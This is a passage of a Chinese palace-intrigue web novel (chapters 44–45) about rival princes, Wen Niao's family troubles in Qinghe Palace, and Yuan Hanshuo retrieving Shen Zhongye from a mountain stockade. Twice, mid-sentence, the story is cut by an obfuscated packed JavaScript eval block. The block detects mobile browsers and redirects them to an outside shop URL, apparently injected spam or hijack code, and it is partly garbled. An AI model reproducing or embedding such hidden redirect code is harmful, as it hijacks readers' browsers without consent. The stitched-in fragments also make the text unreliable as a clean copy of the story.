元流焕与兄弟姐妹们的关系都很好,但是与元晗烁的关系一般,过去十几年,他们没什么交集,一是元流焕学文,元晗烁尚武,二是因为许皇后不喜欢元晗烁,对于识时务的静昭仪母子三人而言,许皇后的喜好才是最重要的,也因此,元流焕在外面做了什么好事,好名声也有太子的一分,但又明眼人都能看得出来太子是沾了光,有个好弟弟。 这力度拿捏的功夫炉火纯青。 元晗烁淡淡点头:“四弟的恩师住在金银寨?” 为了给儿子增加筹码,静昭仪煞费苦心,把世家大儒都拜了,要知道,很多名人隐士最恨多方拜师,偏偏对元流焕破格,因为他实在聪明啊。 知道有太子的人在这里,元晗烁已经开始计划把金银寨清理一遍了。 在元流焕的眼里,自己这位三哥性情阴晴不定,是他最琢磨不透的人物,比皇帝还难猜透心思,也因此,他不敢与他有过多的交集,今天要是知道会遇见他,他一定不会拒绝恩师的好意。 “是呀,与赵老齐名的文寅漠老夫子。”说到这,元流焕叹了口气,“听说赵老出了事,我心中悲痛,没想到上次一别竟是永别。” 赵昌镐也是四皇子的老师之一。 “是有点可惜,我给父皇上过折子,若是刑部和大理寺办事不力,不如起用御史台。”元晗烁转身走向羊肉面摊,在元流焕原来位置的对面坐下。 元流焕跟了过去,落座之后问:“当真?” 御史台在之前几代皇帝手中渐渐没落,如今形同虚设。 “老板,来碗羊肉面。”元晗烁大声跟老板招呼,“四弟在外云游,闲云野鹤,我本来也不打算说,是怕静昭仪也有这个意思。” 元流焕怔了怔,然后不自在地笑了笑。 母妃倒真的有这个打算,还想建议父皇让他做监察左御史,拿下御史台。 能够为皇帝分忧的静昭仪这会儿把皇帝哄高兴了,饭食都多用了一碗。用过饭的皇帝自觉比吃药还管用,把太医们骂了一顿,又过问了端王的事情。 “岂有此理,她是胆子越来越大了!”皇帝拍桌子的力气都有了。 李福全眼皮一跳,飞快朝两人望了望。 “宣皇后进仁政殿听训。”皇帝发了一阵火气,冷静下来。 清和宫。 温袅听说皇后被叫进仁政殿训斥,觉得事情有蹊跷,小声吩咐翡翠去打探,然后起身准备领着母亲去拜见太后。 温夫人左看右看,没看到温凤,心里焦急得不行,后悔对大女儿的纵容,“我带来的丫头第一次进宫,对什么都好奇,这会儿了也不知道在哪里贪玩。” 因为宫中人手不够,此次宫宴允许女眷带一个侍女随行。 温袅不知道她带了谁来,以前她在后院里住,见过的就只有晴翠,“会不会去找晴翠了?” 刚才就一直是小宫女侍候,大宫女们一个不见,除了翡翠是自己派出去的,其他应该是暗中偷溜了。 “母亲用新人?”她知道母亲带人都喜欢挑聪明稳重的,晴翠就比昭禾稳重沉得住气。 突然,她灵光一现,新来的会不会去找晴翠和昭禾了? 想到这,她立刻起身,大步走到门边,这才转头,“母亲也与我一道去吧,昭禾最近情况不太好。” 她想暗示一下希望母亲注意姐姐,别让她干蠢事,以她对太子的痴心,真有可能中招。 幸亏皇后被叫去训斥,若不然肯定会亲自来清和宫把人带走。 温夫人也没别的法子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13003528|132497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,只好跟着她走。 清和宫虽然冷清,毕竟是皇子开蒙读书的居所,所以很大,比别的宫殿宽敞,只是为了让皇子们用心读书,里面的景色布置得中规中矩,直到温袅成为这里的第一任女主人,现在的清和宫种了很多庄稼。 温夫人瞥一眼,沉默无语了。 从正殿到后院宫女们休息的小院子,一路上她看到了不少瓜果蔬菜,长势还挺喜人,绿豆都开花了,结的豆崽绿油油的。 本来有心劝她小心些,但是一些到大女儿如今的糟心,对小女儿的包容度大增。 也罢,清和宫又没什么人来,喜欢种地就种地吧。 两人走近昭禾的屋子,里面有轻微的说话声,母女对视一眼,第一次默契十足的靠到窗下。 绿琦:“昭禾,你那天跟太子殿下见过面,为什么不能替太子作证?” “绿琦姐姐,昭禾是为了我才去见太子的。”温凤的声音急切又护短。 温夫人:…… 她后悔了,就不该让她进宫惹祸。 温袅也尬尴起来,姐姐为了心上人真的会把自己才女的名头丢在地上让人踩。就连她都知道,太子可疑,那两个姑娘的死跟他脱不了关系,更不用说赵昌镐这样的名气大儒在静坐指责太子之后被人刺杀于书房。 也就只有她这位姐姐相信太子无辜。 温夫人再也忍不住,猛地推门进去,怒喝一声:“贱丫头,我让你庭院里透气,你透到后院人家房中来了!” 虽然恼火,温夫人还是想瞒下温凤的真实身份,把她当丫鬟对待,“回家自去请罚!” 温凤吓进腿一软,六神无主地瘫坐在床边。 绿琦狐疑地悄悄观察,开始怀疑自己是不是误会了什么?或许,昭禾是病糊涂了?要不然温夫人怎么跟皇子妃那么亲近,还一起到这边来,再说,现在这个也不太像皇子妃。 这时,翡翠打探消息回来,悄悄凑在温袅耳边回禀:“皇子妃,听仁政殿的人说,先是静昭仪进殿,然后圣上大发雷庭,叫了皇后和太子,如今还关在殿中,不过不知道说什么,听到东西打砸的声音。后来静澜宫的嬷嬷担心自家主子,冲进殿中,然后静昭仪就使出浑身解数哄劝了圣上。” “太后怎么说?”温袅侧头悄悄问。 翡翠弯了弯眼睛,声音压得更低,“她老人家让我们安静看戏。” 温袅当然想安静看戏,但是她担心出宫办事的人啊,他有没有受伤,有没有好好吃饭,会不会不眠不休忙坏身体? 她有些想他了,有他在,还会跟她讲宫里各种好笑的事。 他知道好多好多秘辛。他要是在的话,今天这出戏她就能看明白了,不像现在云里雾里。 45. 第 45 章 日头渐渐升高,朝霞退去,处于谷中的山寨也洒满了金灿灿的阳光,昨夜大雨,谷中花草树木得雨水滋润,生机盎然。 羊肉摊边的菜筐子里青菜青翠欲滴,老板煮面的时候还放几片进去,鲜甜翠嫩,配着羊肉的鲜香,元晗烁食欲大振。 他的味觉又回来了! 一天一夜消耗体力,这会儿自然是饿狠了,说完话就大口吃面。 他实在吃得太香了,元流焕不由得放下筷子,上下打量他。 兄弟之中,他最看不透元晗烁,嫡出的皇子过着比庶出皇子还要差,说他傻,又实在聪明,知道找靠山,说他聪明,却又时时与父皇吵得天翻地覆。 不过,说实话,他还真有点羡慕元晗烁这样毫无顾忌的活法,也只有他敢跟父皇对着干。 “四弟怎么不吃了?”元晗烁片刻吃光一碗面,还有点意犹未尽,想起很快就能回宫,心情很好,也不介意元流焕盯着他看了。 “没有,只是想起上一次我们一起同桌吃饭是什么时候,我竟有些记不清了。”元流焕摇头笑了笑。 “我们从来没有同桌吃过饭,这是第一次。”元晗烁抓起桌上的折扇,“我挺好奇四弟怎么觉得我们有过同桌吃饭的机会?” 他留下一角碎银,扬长而去。 “没有吗?”元流焕皱着眉头想了想,好像确实没有,宴席上,元晗烁从来都是单独一席,家宴从不出现。 这些都是小事,重要的是刚才他说的话,难道他也想争御史台?不是一直老老实实做父皇手中的一把刀吗? 看来他出京真的太久了。 想到这里,元流焕立刻起身,解开绑在面摊附近的马,用最快的速度进城。 暗中观察他的暗卫赶紧回去禀报:“主子,四殿下出寨子了。” 元晗烁弯起唇角:“很好。” “沈公子藏在文家,文夫子正在劝他追随四殿下,周围都是金银寨的好手,这些人都听文夫子的。”另一个暗卫急匆匆跑回来,“寨子虽说只是个镖局,但是属下听说,几年前文夫子过来隐居,很多有识之士也跟过来,主子你猜我在这里看见了谁?” 见元晗烁不感兴趣,赶紧老实交代:“我看到前任城门司的司主。” “这有什么奇怪的,秦明德寒士出身,向来与权贵出身的偏将不对付,前阵子被夺去官职,贬出京城。”同伴嗤笑。 金银寨不就是聚着这样的人吗?官当不成了来当镖师,南来北往正好躲过熟悉嚼舌根。 元流焕上辈子很熟悉秦明德,他是太子身边功夫最好的人,并且对太子忠心不二。 只不过,现在的秦明德还没追随太子,是太子逼宫成功后对他有不杀之恩并重用他之后才死心塌地追随。 太子虽然很多事不靠谱,但是在礼遇贤士这方面做得还不错,并且眼光很好,身边跟着不少能人,令上辈子的他复仇之路困难重重。 文家是一处篱笆围起的小院,竹搭的两层小楼背靠着山石,高壮的络腮胡子大汉在庭院里走来走去,屋檐下有两人对面而坐,另有几个镖师在院外走动。 小院靠山,进出是一条小巷,两边都是泥瓦房,住着几户拖家带口的农户,若想不伤及无辜进行救援很难,元晗烁立刻放弃放讯号叫增援的想法。 农户可是他封地里的子民,他不可能对他们硬来,一旦大批侍卫闯入,首当其冲的就是寨子里普通住户。 他朝两个暗卫使了个眼色,两人点了点头,悄无声息地朝那些走动的镖师摸去,他则沿着泥墙跃进文家的院子。 “谁!” 他刚落地就被秦明德发现。 秦明德三十岁上下,身材魁梧,满脸胡子看不清脸长什么样,只一双大眼明亮有神。 “三殿下?”他实在想不到会在这里看到三皇子。 身为城门司的司主,他有机会进宫,也需要认识各路达官显贵,对于这个时常深夜出城的皇子熟得不能再熟。 “我来带沈重烨回城。”元晗烁淡然看向对弈中的文寅漠,“文夫子觉得如何?” 沈重烨听到他的声音,猛地转头。他最不想见到的人就是元晗烁。 他紧握双手,倔强道:“本公子用你救?” “若不是太后要救,你是死是活跟我无关。”元晗烁冷笑,看都不看他一眼,“文夫子的心思要不要我跟太子说一声啊?” 文寅漠哈哈大笑一声,起身行了个礼,“三殿下说笑了,老夫只是在佳节之日邀约沈公子弈棋以尽师徒情谊。” “是吗?那现在也该赴宫中端午宴了,还是文夫子以老卖老强留长公主独子在此,让太后看不到外孙,好狂的话!”元晗烁抬手一甩,一股力道直冲文寅漠。 秦明德飞身一跃,接下这股冲力,双脚在庭院里划出深深的两道痕迹。 竟是一来就下杀手,沈重烨怒火冲天,俊脸涨红,“元晗烁!姑父在此尚不敢如此对待文老先生,你目无王法,滥杀无辜,我沈重烨就是死也不跟你回去!” 早上醒来,看到床边的老夫子,沈重烨感激之情涨满胸腔,听到是文家家仆拼死相救,更是打算回去就跟母亲说明情况,保下金银寨。 元晗烁只当他不存在,眼睛看着秦明德,而后者也满眼震惊看着他。 习武之人棋逢对手,心里的激动是很难隐藏的,秦明德心中那股不服输的劲儿突突往外冒,手痒痒,想跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13017410|132497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他大战几百回合,“殿下,比武吗?” “没空。” “什么时候有空?” “什么时候都没空。” 秦明德这人光有一身好本领,实则十分单纯耿直,认定一件事就会坚持到底,上辈子满天下追杀他,追了两年零三个月,他们棋鼓相当,谁也赢不了谁,想收服他,最好还是不要答应跟他比武。 被直白拒绝,秦明德也不气恼,反而对他十分尊重,拱手道:“殿下总会有闲着的时候,草民可以等。” “秦明德。”文寅漠皱眉,莽夫就是莽夫,容易被人忽悠。 元晗烁走到沈重烨面前,垂眸盯了他片刻,“长公主担心你,求到太后跟前,你若还当她是母亲,就跟我走,你若想追随明主,抛家弃母只求你的大道,我不拦你。” 两辈子他都看不起沈重烨,甚至连跟他说话都觉得浪费时间,若不是为了太后,他现在好好待在宫里,能第一时间品尝到小凤凰做的吃食。 就为了这么个人。 元晗烁浑身黑气萦绕。秦明德莫名全身戒备地搓了搓手,兴奋、焦着,期待。文寅漠不自觉后退,暗自镇定,紧紧捏着手中的棋子,仿佛那枚小巧的棋子能帮他抵挡那强大的威慑力。 直面威慑的沈重烨双腿发软,面色涨红,想反驳又驳不出口,想大骂又没那个胆子,后背冷汗直流。 这一刻,他很清楚的明白,如果不是因为太后,他可能已经死千遍万遍。 他怎么会想着跟这么可怕的男人抢温凤?他比太子还可怕! “我跟你回去。”沈重烨最后败下阵来,整个人像是失去所有力量一般跌坐在地。 “重烨!”文寅漠急了,失去沈重烨,就失去沈家的支持,清流之首的沈家,若是能支持四殿下,别说御史台,天下都有可能归于殿下。 “老师,我先回府,改日再登门叩谢救命之恩。”沈重烨咬牙起身,郑重地施了个学生礼。 文寅漠还想拦他,秦明德直白道:“夫子还是让沈公子回去吧,人家母亲都找儿子了,你还强留不合适。” 墙头传来一声笑,圆脸暗卫在墙边冒头,“秦司主说得对。” 被元晗烁瞪了一眼之后,他又将脑袋缩回墙后。 文寅漠咬牙切齿又无可奈何。秦明德好忽悠啊!他能忽悠,别人也能,如今他才发现,三殿下的口才不比他差。 元晗烁归心似箭,出了文家,立刻唤来自己的马,拎着沈重烨策马而去,直冲山寨大门。文寅漠不甘心,还想派人去追,秦明德想到寨子里那些杀人不眨眼的汉子,万一伤着了殿下,他上哪找人比武去? 文寅漠被他拦着,连院门都出不去。